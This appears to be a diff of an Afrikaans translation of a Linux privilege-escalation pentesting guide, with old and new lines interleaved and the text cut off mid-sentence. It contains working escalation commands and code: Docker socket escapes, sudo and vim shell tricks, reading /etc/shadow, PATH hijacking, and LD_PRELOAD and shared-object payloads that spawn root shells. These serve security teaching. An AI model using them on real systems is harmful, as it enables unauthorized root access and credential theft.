As **vals**, word al die luister sockets self **aan die begin diens eenheid oorgedra**, en slegs een diens eenheid word geskep vir al die verbindings. Hierdie waarde word geïgnoreer vir datagram sockets en FIFOs waar 'n enkele diens eenheid onvoorwaardelik al die inkomende verkeer hanteer. **Standaard is vals**. Vir prestasiedoeleindes word dit aanbeveel om nuwe daemons slegs op 'n manier te skryf wat geskik is vir `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Neem een of meer opdraglyne, wat **uitgevoer word voor** of **na** die luister **sockets**/FIFOs **gecreëer** en gebind word, onderskeidelik. Die eerste token van die opdraglyn moet 'n absolute lêernaam wees, gevolg deur argumente vir die proses. -- `ExecStopPre`, `ExecStopPost`: Bykomende **opdragte** wat **uitgevoer word voor** of **na** die luister **sockets**/FIFOs **gesluit** en verwyder word, onderskeidelik. -- `Service`: Gee die **diens** eenheid naam **om te aktiveer** op **inkomende verkeer**. Hierdie instelling is slegs toegelaat vir sockets met Accept=no. Dit is standaard die diens wat dieselfde naam as die socket dra (met die agtervoegsel vervang). In die meeste gevalle behoort dit nie nodig te wees om hierdie opsie te gebruik nie. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Hierdie opsies verskil, maar 'n samevatting word gebruik om aan te dui waarheen dit na die socket gaan luister (die pad van die AF_UNIX socket-lêer, die IPv4/6 en/of poortnommer om na te luister, ens.) +- `Accept`: Neem 'n boolean-argument. As **true**, word 'n **service instance vir elke inkomende verbinding geskep** en slegs die verbindings-socket daaraan deurgegee. As **false**, word al die luister-sockets self **aan die gestarte service unit deurgegee**, en slegs een service unit word vir al die verbindings geskep. Hierdie waarde word geïgnoreer vir datagram sockets en FIFOs waar 'n enkele service unit onvoorwaardelik al die inkomende verkeer hanteer. **Standaard is false**. Vir prestasie-redes word aanbeveel om nuwe daemons slegs op 'n wyse te skryf wat geskik is vir `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Neem een of meer opdragreëls wat onderskeidelik **uitgevoer word voordat** of **nadat** die luister **sockets**/FIFOs **geskep** en gebind is. Die eerste token van die opdragreël moet 'n absolute lêernaam wees, gevolg deur argumente vir die proses. +- `ExecStopPre`, `ExecStopPost`: Bykomende **opdragte** wat onderskeidelik **uitgevoer word voordat** of **nadat** die luister **sockets**/FIFOs **gesluit** en verwyder word. +- `Service`: Spesifiseer die naam van die **service** unit om te **aktiveer** by **inkomende verkeer**. Hierdie instelling is slegs toegelaat vir sockets met Accept=no. Dit gebruik standaard die service wat dieselfde naam as die socket dra (met die agtervoegsel vervang). In meeste gevalle behoort dit nie nodig te wees om hierdie opsie te gebruik nie. -### Skryfbare .socket lêers +### Skryfbare .socket-lêers -As jy 'n **skryfbare** `.socket` lêer vind, kan jy **byvoeg** aan die begin van die `[Socket]` afdeling iets soos: `ExecStartPre=/home/kali/sys/backdoor` en die backdoor sal uitgevoer word voordat die socket geskep word. Daarom, jy sal **waarskynlik moet wag totdat die masjien herbegin word.**\ -_Nota dat die stelsel daardie socket lêer konfigurasie moet gebruik of die backdoor sal nie uitgevoer word nie_ +As jy 'n **skryfbare** `.socket`-lêer vind, kan jy aan die begin van die `[Socket]`-afdeling iets byvoeg soos: `ExecStartPre=/home/kali/sys/backdoor` en die backdoor sal uitgevoer word voordat die socket geskep word. Daarom sal jy **waarskynlik moet wag totdat die masjien herbegin is.**\ +_Note that the system must be using that socket file configuration or the backdoor won't be executed_ ### Skryfbare sockets -As jy **enige skryfbare socket identifiseer** (_nou praat ons oor Unix Sockets en nie oor die konfig `.socket` lêers nie_), dan **kan jy kommunikeer** met daardie socket en dalk 'n kwesbaarheid benut. +As jy **enige skryfbare socket identifiseer** (_nou praat ons van Unix Sockets en nie van die konfigurasie `.socket`-lêers nie_), dan **kan jy kommunikeer** met daardie socket en dalk 'n kwesbaarheid uitbuit. ### Enumereer Unix Sockets ```bash netstat -a -p --unix ``` -### Rau verbinding +### Ruwe verbinding ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -475,57 +475,57 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Eksploitasi voorbeeld:** +**Voorbeeld van eksploitasie:** {{#ref}} socket-command-injection.md {{#endref}} -### HTTP sokke +### HTTP sockets -Let daarop dat daar dalk **sokke is wat luister na HTTP** versoeke (_Ek praat nie van .socket lêers nie, maar die lêers wat as unix sokke optree_). Jy kan dit nagaan met: +Let daarop dat daar moontlik sommige **sockets listening for HTTP requests** kan wees (_Ek praat nie van .socket files nie maar van die lêers wat as unix sockets optree_). Jy kan dit nagaan met: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -As die socket **reageer met 'n HTTP** versoek, kan jy **kommunikeer** daarmee en dalk **'n kwesbaarheid ontgin**. +As die socket **op 'n HTTP-versoek reageer**, kan jy **daarmee kommunikeer** en dalk **'n kwesbaarheid uitbuit**. ### Skryfbare Docker Socket -Die Docker socket, wat dikwels by `/var/run/docker.sock` gevind word, is 'n kritieke lêer wat beveilig moet word. Standaard is dit skryfbaar deur die `root` gebruiker en lede van die `docker` groep. Om skryfreëling tot hierdie socket te hê, kan lei tot privilige-escalasie. Hier is 'n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes as die Docker CLI nie beskikbaar is nie. +Die Docker socket, wat dikwels by `/var/run/docker.sock` gevind word, is 'n kritiese lêer wat beveilig moet word. Volgens verstek is dit skryfbaar deur die `root` gebruiker en lede van die `docker` groep. Besit van skriftoegang tot hierdie socket kan lei tot privilege escalation. Hieronder is 'n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes as die Docker CLI nie beskikbaar is nie. -#### **Privilige Escalasie met Docker CLI** +#### **Privilege Escalation met Docker CLI** -As jy skryfreëling tot die Docker socket het, kan jy privilige verhoog met die volgende opdragte: +As jy skriftoegang tot die Docker socket het, kan jy privilege escalation bewerkstellig deur die volgende opdragte te gebruik: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Hierdie opdragte laat jou toe om 'n houer met wortelvlaktoegang tot die gasheer se lêerstelsel te laat loop. +Hierdie opdragte laat jou toe om 'n container te laat loop met root-vlak toegang tot die gasheer se lêerstelsel. -#### **Gebruik Docker API Direk** +#### **Gebruik die Docker API direk** -In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker-soket steeds gemanipuleer word met behulp van die Docker API en `curl` opdragte. +In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker socket nog steeds gemanipuleer word met die Docker API en `curl`-opdragte. -1. **Lys Docker Beelde:** Verkry die lys van beskikbare beelde. +1. **List Docker Images:** Haal die lys van beskikbare images op. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Skep 'n Houer:** Stuur 'n versoek om 'n houer te skep wat die gasheerstelsel se wortelgids monteer. +2. **Create a Container:** Stuur 'n versoek om 'n container te skep wat die gasheer se wortelgids mount. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Begin die nuutgeskepte houer: +Start die pas geskepte container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Koppel aan die Houer:** Gebruik `socat` om 'n verbinding met die houer te vestig, wat opdraguitvoering binne-in dit moontlik maak. +3. **Koppel aan die Container:** Gebruik `socat` om 'n verbinding met die container te vestig, wat die uitvoering van opdragte binne dit moontlik maak. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -535,31 +535,31 @@ Connection: Upgrade Upgrade: tcp ``` -Nadat jy die `socat`-verbinding opgestel het, kan jy opdragte direk in die houer uitvoer met wortelvlaktoegang tot die gasheer se lêerstelsel. +Na die opstel van die `socat`-verbinding kan jy opdragte direk in die container uitvoer met root-toegang tot die gasheer se lêerstelsel. ### Ander -Let daarop dat as jy skrywe toestemmings oor die docker soket het omdat jy **binne die groep `docker`** is, jy het [**meer maniere om voorregte te verhoog**](interesting-groups-linux-pe/index.html#docker-group). As die [**docker API op 'n poort luister** kan jy ook in staat wees om dit te kompromitteer](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Let wel dat as jy skryfbevoegdhede oor die docker-sok het omdat jy **in die groep `docker`** is, het jy [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). As die [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Kyk na **meer maniere om uit docker te breek of dit te misbruik om voorregte te verhoog** in: +Kyk na **meer maniere om uit docker te breek of dit te misbruik om bevoegdhede te eskaleer** in: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) voorregverhoging +## Containerd (ctr) bevoegdheid-eskalasie -As jy vind dat jy die **`ctr`** opdrag kan gebruik, lees die volgende bladsy as **jy dalk in staat mag wees om dit te misbruik om voorregte te verhoog**: +As jy vind dat jy die **`ctr`** opdrag kan gebruik, lees die volgende bladsy aangesien **jy dit moontlik kan misbruik om bevoegdhede te eskaleer**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** voorregverhoging +## **RunC** bevoegdheid-eskalasie -As jy vind dat jy die **`runc`** opdrag kan gebruik, lees die volgende bladsy as **jy dalk in staat mag wees om dit te misbruik om voorregte te verhoog**: +As jy vind dat jy die **`runc`** opdrag kan gebruik, lees die volgende bladsy aangesien **jy dit moontlik kan misbruik om bevoegdhede te eskaleer**: {{#ref}} @@ -568,15 +568,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus is 'n gesofistikeerde **inter-Process Communication (IPC) stelsel** wat toepassings in staat stel om doeltreffend te kommunikeer en data te deel. Dit is ontwerp met die moderne Linux-stelsel in gedagte en bied 'n robuuste raamwerk vir verskillende vorme van toepassingskommunikasie. +D-Bus is 'n gesofistikeerde **inter-Process Communication (IPC) system** wat toepassings in staat stel om doeltreffend met mekaar te kommunikeer en data te deel. Ontwerp met die moderne Linux-stelsel in gedagte, bied dit 'n robuuste raamwerk vir verskeie vorme van toepassingskommunikasie. -Die stelsel is veelsydig, wat basiese IPC ondersteun wat data-uitruil tussen prosesse verbeter, wat herinner aan **verbeterde UNIX-domein sokke**. Boonop help dit om gebeurtenisse of seine te broadcast, wat naatlose integrasie tussen stelseldelers bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth-daemon oor 'n inkomende oproep kan 'n musiekspeler aanmoedig om te demp, wat die gebruikerservaring verbeter. Daarbenewens ondersteun D-Bus 'n afstandsobjekstelsel, wat diensversoeke en metode-aanroep tussen toepassings vereenvoudig, wat prosesse stroomlyn wat tradisioneel kompleks was. +Die stelsel is veelsydig en ondersteun basiese IPC wat data-uitruiling tussen prosesse verbeter, wat herinner aan **enhanced UNIX domain sockets**. Verder help dit met die uitsaai van gebeurtenisse of seine, wat naatlose integrasie tussen stelselkomponente bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth-daemon oor 'n inkomende oproep kan 'n musiekspeler laat demp, wat die gebruikerservaring verbeter. Boonop ondersteun D-Bus 'n remote object system, wat diensversoeke en metode-aanroepe tussen toepassings vereenvoudig en prosesse stroomlyn wat tradisioneel kompleks was. -D-Bus werk op 'n **toelaat/weier model**, wat boodskaptoestemmings (metode-aanroepe, seinuitstoot, ens.) bestuur op grond van die kumulatiewe effek van ooreenstemmende beleidsreëls. Hierdie beleide spesifiseer interaksies met die bus, wat moontlik voorregverhoging deur die uitbuiting van hierdie toestemmings toelaat. +D-Bus werk op 'n **allow/deny model**, en bestuur boodskaptoestemmings (metode-aanroepe, seinuitsendings, ens.) gebaseer op die kumulatiewe effek van ooreenstemmende beleidsreëls. Hierdie beleidsreëls spesifiseer interaksies met die bus en kan potensieel bevoegdheid-eskalasie toelaat deur die misbruik van hierdie toestemmings. -'n Voorbeeld van so 'n beleid in `/etc/dbus-1/system.d/wpa_supplicant.conf` word verskaf, wat toestemmings vir die wortelgebruiker uiteensit om te besit, te stuur na, en boodskappe van `fi.w1.wpa_supplicant1` te ontvang. +'n Voorbeeld van so 'n beleid in `/etc/dbus-1/system.d/wpa_supplicant.conf` word verskaf, wat toestemmings uiteensit vir die root-gebruiker om eienaarskap te hê oor, boodskappe na te stuur aan, en boodskappe van `fi.w1.wpa_supplicant1` te ontvang. -Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "default" konteksbeleide op almal van toepassing is wat nie deur ander spesifieke beleide gedek word nie. +Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "default" konteksbeleide geld vir almal wat nie deur ander spesifieke beleide gedek word nie. ```xml @@ -585,7 +585,7 @@ Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "de ``` -**Leer hoe om 'n D-Bus kommunikasie te evalueer en te benut hier:** +**Leer hier hoe om 'n D-Bus communication te enumerate en te exploit:** {{#ref}} @@ -594,9 +594,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Netwerk** -Dit is altyd interessant om die netwerk te evalueer en die posisie van die masjien uit te vind. +Dit is altyd interessant om die netwerk te enumerate en die posisie van die masjien uit te vind. -### Generiese evaluering +### Generiese enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -619,24 +619,24 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Oop port +### Oop poorte -Kontroleer altyd netwerkdienste wat op die masjien loop waarmee jy nie kon interaksie hê nie voordat jy dit toegang verkry het: +Kontroleer altyd netwerkdienste wat op die masjien loop en waarmee jy voor toegang nie kon kommunikeer nie: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Kyk of jy verkeer kan snuffel. As jy kan, kan jy dalk 'n paar akrediteerbare inligting gryp. +Kontroleer of jy sniff traffic kan uitvoer. As dit moontlik is, kan jy dalk 'n paar credentials onderskep. ``` timeout 1 tcpdump ``` -## Gebruikers +## Users -### Generiese Enumerasie +### Generic Enumeration -Kontroleer **wie** jy is, watter **privileges** jy het, watter **gebruikers** in die stelsels is, watter kan **aanmeld** en watter het **root privileges:** +Kontroleer **who** jy is, watter **privileges** jy het, watter **users** in die stelsels is, watter van hulle kan **login** en watter het **root privileges:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -660,21 +660,21 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -Sommige Linux weergawes was geraak deur 'n fout wat gebruikers met **UID > INT_MAX** toelaat om voorregte te verhoog. Meer inligting: [hier](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [hier](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) en [hier](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Eksploiteer dit** met: **`systemd-run -t /bin/bash`** +Sommige Linux-weergawes is geraak deur 'n fout wat gebruikers met **UID > INT_MAX** toelaat om voorregte op te skaal. Meer inligting: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploit it** using: **`systemd-run -t /bin/bash`** -### Groups +### Groeppe -Kontroleer of jy 'n **lid van 'n groep** is wat jou root voorregte kan gee: +Kontroleer of jy 'n **lid van 'n groep** is wat jou root-voorregte kan gee: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### Clipboard +### Klembord -Kontroleer of daar iets interessant in die klembord is (indien moontlik) +Kyk of iets interessant in die klembord is (indien moontlik) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -691,22 +691,22 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Bekende wagwoorde -As jy **enige wagwoord** van die omgewing **ken, probeer om in te log as elke gebruiker** met die wagwoord. +As jy **enige wagwoord van die omgewing ken**, probeer **as elke gebruiker** met daardie wagwoord aanmeld. ### Su Brute -As jy nie omgee om baie geraas te maak nie en `su` en `timeout` binaire is op die rekenaar teenwoordig, kan jy probeer om gebruikers te brute-force met [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +Indien jy nie omgee om baie geraas te veroorsaak nie en die `su` en `timeout` binaries op die rekenaar teenwoordig is, kan jy probeer om gebruikers te brute-force met [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) met die `-a` parameter probeer ook om gebruikers te brute-force. -## Skryfbare PAD misbruik +## Skryfbare PATH-misbruik ### $PATH -As jy vind dat jy **binne 'n sekere gids van die $PATH kan skryf**, mag jy in staat wees om voorregte te verhoog deur **'n agterdeur binne die skryfbare gids te skep** met die naam van 'n opdrag wat deur 'n ander gebruiker (root idealiter) gaan uitgevoer word en wat **nie gelaai word vanaf 'n gids wat voor jou skryfbare gids in $PATH geleë is nie**. +Indien jy agterkom dat jy **in 'n gids in die $PATH kan skryf**, kan jy dalk bevoegdhede eskaleer deur **'n backdoor in die skryfbare gids te skep** met die naam van 'n opdrag wat deur 'n ander gebruiker (ideaalweg root) uitgevoer gaan word en wat **nie vanaf 'n gids voor jou skryfbare gids in $PATH gelaai word nie**. -### SUDO en SUID +### SUDO and SUID -Jy mag toegelaat word om 'n sekere opdrag met sudo uit te voer of hulle mag die suid-bietjie hê. Kontroleer dit met: +Jy mag toegelaat wees om sekere opdragte met sudo uit te voer of hulle kan die suid-bit hê. Kontroleer dit met: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries @@ -722,31 +722,31 @@ less>! ``` ### NOPASSWD -Sudo-konfigurasie mag 'n gebruiker toelaat om 'n opdrag met 'n ander gebruiker se voorregte uit te voer sonder om die wagwoord te ken. +Sudo-konfigurasie kan 'n gebruiker toelaat om 'n kommando met 'n ander gebruiker se bevoegdhede uit te voer sonder om die wagwoord te ken. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -In hierdie voorbeeld kan die gebruiker `demo` `vim` as `root` uitvoer, dit is nou triviaal om 'n shell te kry deur 'n ssh-sleutel in die root-gids te voeg of deur `sh` aan te roep. +In hierdie voorbeeld kan die gebruiker `demo` `vim` as `root` uitvoer, dit is nou triviaal om 'n shell te kry deur 'n ssh key in die root directory by te voeg of deur `sh` aan te roep. ``` sudo vim -c '!sh' ``` ### SETENV -Hierdie riglyn laat die gebruiker toe om **'n omgewing veranderlike in te stel** terwyl iets uitgevoer word: +Hierdie direktief laat die gebruiker toe om **'n omgewingsveranderlike te stel** terwyl iets uitgevoer word: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Hierdie voorbeeld, **gebaseer op HTB-masjien Admirer**, was **kwulnerbaar** vir **PYTHONPATH-hijacking** om 'n arbitrêre python-biblioteek te laai terwyl die skrip as root uitgevoer word: +Hierdie voorbeeld, **gebaseer op HTB machine Admirer**, was **kwesbaar** vir **PYTHONPATH hijacking** om 'n arbitrêre python library te laai terwyl die script as root uitgevoer is: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo uitvoering omseiling van paaie +### Sudo uitvoering wat paaie omseil -**Spring** om ander lêers te lees of gebruik **simboliese skakels**. Byvoorbeeld in die sudoers-lêer: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Spring** om ander lêers te lees of gebruik **symlinks**. Byvoorbeeld in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -756,46 +756,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -As 'n **wildcard** gebruik word (\*), is dit selfs makliker: +Indien **wildcard** gebruik word (\*), is dit nog makliker: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Teenmaatreëls**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo-opdrag/SUID-binary sonder opdragspad +### Sudo command/SUID binary without command path -As die **sudo toestemming** aan 'n enkele opdrag gegee word **sonder om die pad te spesifiseer**: _hacker10 ALL= (root) less_ kan jy dit benut deur die PATH veranderlike te verander. +As die **sudo permission** aan 'n enkele command **sonder om die pad te spesifiseer**: _hacker10 ALL= (root) less_ kan jy dit uitbuit deur die PATH-variabele te verander ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Hierdie tegniek kan ook gebruik word as 'n **suid** binêre **'n ander opdrag uitvoer sonder om die pad daarna te spesifiseer (kontroleer altyd met** _**strings**_ **die inhoud van 'n vreemde SUID binêre)**. +Hierdie tegniek kan ook gebruik word as 'n **suid** binary **'n ander command uitvoer sonder om die pad daarvoor te spesifiseer (kontroleer altyd met** _**strings**_ **die inhoud van 'n vreemde SUID binary)**. -[Payload voorbeelde om uit te voer.](payloads-to-execute.md) +[Payload examples to execute.](payloads-to-execute.md) -### SUID binêre met opdrag pad +### SUID binary met pad na die kommando -As die **suid** binêre **'n ander opdrag uitvoer wat die pad spesifiseer**, kan jy probeer om 'n **funksie te eksporteer** wat genaamd is soos die opdrag wat die suid-lêer aanroep. +If the **suid** binary **executes another command specifying the path**, then, you can try to **export a function** named as the command that the suid file is calling. -Byvoorbeeld, as 'n suid binêre _**/usr/sbin/service apache2 start**_ aanroep, moet jy probeer om die funksie te skep en dit te eksporteer: +Byvoorbeeld, as 'n **suid** binary calls _**/usr/sbin/service apache2 start**_ jy moet probeer om die funksie te skep en dit te **export**: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Dan, wanneer jy die suid-binary aanroep, sal hierdie funksie uitgevoer word +Wanneer jy dan die suid-binary aanroep, sal hierdie funksie uitgevoer word ### LD_PRELOAD & **LD_LIBRARY_PATH** -Die **LD_PRELOAD** omgewing veranderlike word gebruik om een of meer gedeelde biblioteke (.so lêers) aan te dui wat deur die laaier gelaai moet word voordat alle ander, insluitend die standaard C biblioteek (`libc.so`). Hierdie proses staan bekend as die vooraflaai van 'n biblioteek. +Die **LD_PRELOAD** omgewingsveranderlike word gebruik om een of meer gedeelde biblioteke (.so files) aan te dui wat deur die loader voor alle ander gelaai word, insluitend die standaard C-biblioteek (`libc.so`). Hierdie proses staan bekend as die voorlaai van 'n biblioteek. -Om egter die stelselsekuriteit te handhaaf en te voorkom dat hierdie funksie uitgebuit word, veral met **suid/sgid** uitvoerbare lêers, handhaaf die stelsel sekere voorwaardes: +Om stelsel-sekuriteit te handhaaf en te verhoed dat hierdie funksie uitgebuit word, veral met **suid/sgid** uitvoerbare lêers, handhaaf die stelsel egter sekere voorwaardes: -- Die laaier ignoreer **LD_PRELOAD** vir uitvoerbare lêers waar die werklike gebruikers-ID (_ruid_) nie ooreenstem met die effektiewe gebruikers-ID (_euid_). -- Vir uitvoerbare lêers met suid/sgid, word slegs biblioteke in standaardpaaie wat ook suid/sgid is, vooraf gelaai. +- Die loader ignoreer **LD_PRELOAD** vir uitvoerbare lêers waar die werklike gebruiker-ID (_ruid_) nie ooreenstem met die effektiewe gebruiker-ID (_euid_) nie. +- Vir uitvoerbare lêers met suid/sgid word slegs biblioteke in standaardpaaie wat ook suid/sgid is, voorafgelaai. -Privilegie-eskalasie kan voorkom as jy die vermoë het om opdragte met `sudo` uit te voer en die uitvoer van `sudo -l` die stelling **env_keep+=LD_PRELOAD** insluit. Hierdie konfigurasie laat die **LD_PRELOAD** omgewing veranderlike toe om te bly bestaan en erken te word selfs wanneer opdragte met `sudo` uitgevoer word, wat moontlik kan lei tot die uitvoering van arbitrêre kode met verhoogde bevoegdhede. +Privilegie-eskalasie kan plaasvind as jy die vermoë het om opdragte met `sudo` uit te voer en die uitset van `sudo -l` die stelling **env_keep+=LD_PRELOAD** insluit. Hierdie konfigurasie laat toe dat die **LD_PRELOAD** omgewingsveranderlike behou en herken word selfs wanneer opdragte met `sudo` uitgevoer word, wat moontlik kan lei tot die uitvoering van arbitrêre kode met verhoogde voorregte. ``` Defaults env_keep += LD_PRELOAD ``` @@ -812,17 +812,17 @@ setuid(0); system("/bin/bash"); } ``` -Dan **kompyleer dit** met: +Dan **compile dit** met behulp van: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Uiteindelik, **verhoog privaathede** wat loop +Laastens, **escalate privileges** uitvoer ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> 'n Soortgelyke privesc kan misbruik word as die aanvaller die **LD_LIBRARY_PATH** omgewing veranderlike beheer, omdat hy die pad beheer waar biblioteke gesoek gaan word. +> 'n soortgelyke privesc kan misbruik word as die aanvaller die **LD_LIBRARY_PATH** env variable beheer, omdat hy die pad beheer waar biblioteke gesoek gaan word. ```c #include #include @@ -842,15 +842,15 @@ cd /tmp gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp ``` -### SUID Binêre – .so inspuiting +### SUID Binary – .so injection -Wanneer jy 'n binêre met **SUID** regte teëkom wat ongewoon lyk, is dit 'n goeie praktyk om te verifieer of dit **.so** lêers korrek laai. Dit kan nagegaan word deur die volgende opdrag uit te voer: +Wanneer jy op 'n binary met **SUID** permissies stuit wat ongewoon voorkom, is dit 'n goeie praktyk om te verifieer of dit **.so**-lêers behoorlik laai. Dit kan nagegaan word deur die volgende opdrag uit te voer: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Byvoorbeeld, om 'n fout soos _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (Geen sodanige lêer of gids)"_ te ondervind, dui op 'n potensiaal vir uitbuiting. +Byvoorbeeld, die voorkoms van 'n fout soos _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ dui op 'n potensiële uitbuitingsmoontlikheid. -Om dit te benut, sou 'n mens voortgaan deur 'n C-lêer te skep, sê _"/path/to/.config/libcalc.c"_, wat die volgende kode bevat: +Om dit uit te buiten, sal 'n mens voortgaan deur 'n C-lêer te skep, byvoorbeeld _"/path/to/.config/libcalc.c"_, wat die volgende kode bevat: ```c #include #include @@ -861,15 +861,15 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Hierdie kode, sodra dit gecompileer en uitgevoer is, is daarop gemik om voorregte te verhoog deur lêer toestemmings te manipuleer en 'n skulp met verhoogde voorregte uit te voer. +Hierdie code, sodra dit gekompileer en uitgevoer is, poog om voorregte te verhoog deur lêertoestemmings te manipuleer en 'n shell met verhoogde voorregte uit te voer. -Compileer die bogenoemde C-lêer in 'n gedeelde objek (.so) lêer met: +Kompileer die bostaande C-lêer in 'n shared object (.so)-lêer met: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Uiteindelik, die uitvoering van die geraakte SUID-binary behoort die ontploffing te aktiveer, wat moontlike stelselskompromie moontlik maak. +Laastens, deur die aangetaste SUID binary uit te voer, behoort die exploit te aktiveer, wat moontlike system compromise toelaat. -## Gedeelde Objekt Hijacking +## Shared Object Hijacking ```bash # Lets find a SUID using a non-standard library ldd some_suid @@ -879,7 +879,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Nou dat ons 'n SUID-binaar gevind het wat 'n biblioteek laai vanaf 'n gids waar ons kan skryf, kom ons skep die biblioteek in daardie gids met die nodige naam: +Nou dat ons 'n SUID binary gevind het wat 'n library laai uit 'n gids waarin ons kan skryf, kom ons skep die library in daardie gids met die nodige naam: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -896,13 +896,13 @@ As jy 'n fout kry soos ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -dit beteken dat die biblioteek wat jy gegenereer het 'n funksie moet hê wat `a_function_name` genoem word. +dit beteken dat die biblioteek wat jy gegenereer het 'n funksie met die naam `a_function_name` moet hê. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) is 'n saamgestelde lys van Unix-binaries wat deur 'n aanvaller benut kan word om plaaslike sekuriteitsbeperkings te omseil. [**GTFOArgs**](https://gtfoargs.github.io/) is dieselfde, maar vir gevalle waar jy **slegs argumente** in 'n opdrag kan inspuit. +[**GTFOBins**](https://gtfobins.github.io) is 'n gekurde lys van Unix binaries wat deur 'n aanvaller misbruik kan word om plaaslike sekuriteitsbeperkings te omseil. [**GTFOArgs**](https://gtfoargs.github.io/) is dieselfde maar vir gevalle waar jy **slegs argumente kan injekteer** in 'n opdrag. -Die projek versamel wettige funksies van Unix-binaries wat misbruik kan word om uit beperkte shells te breek, voorregte te verhoog of te handhaaf, lêers oor te dra, bind en omgekeerde shells te spawn, en ander post-exploitasie take te fasiliteer. +Die projek versamel geldige funksies van Unix binaries wat misbruik kan word om uit beperkte 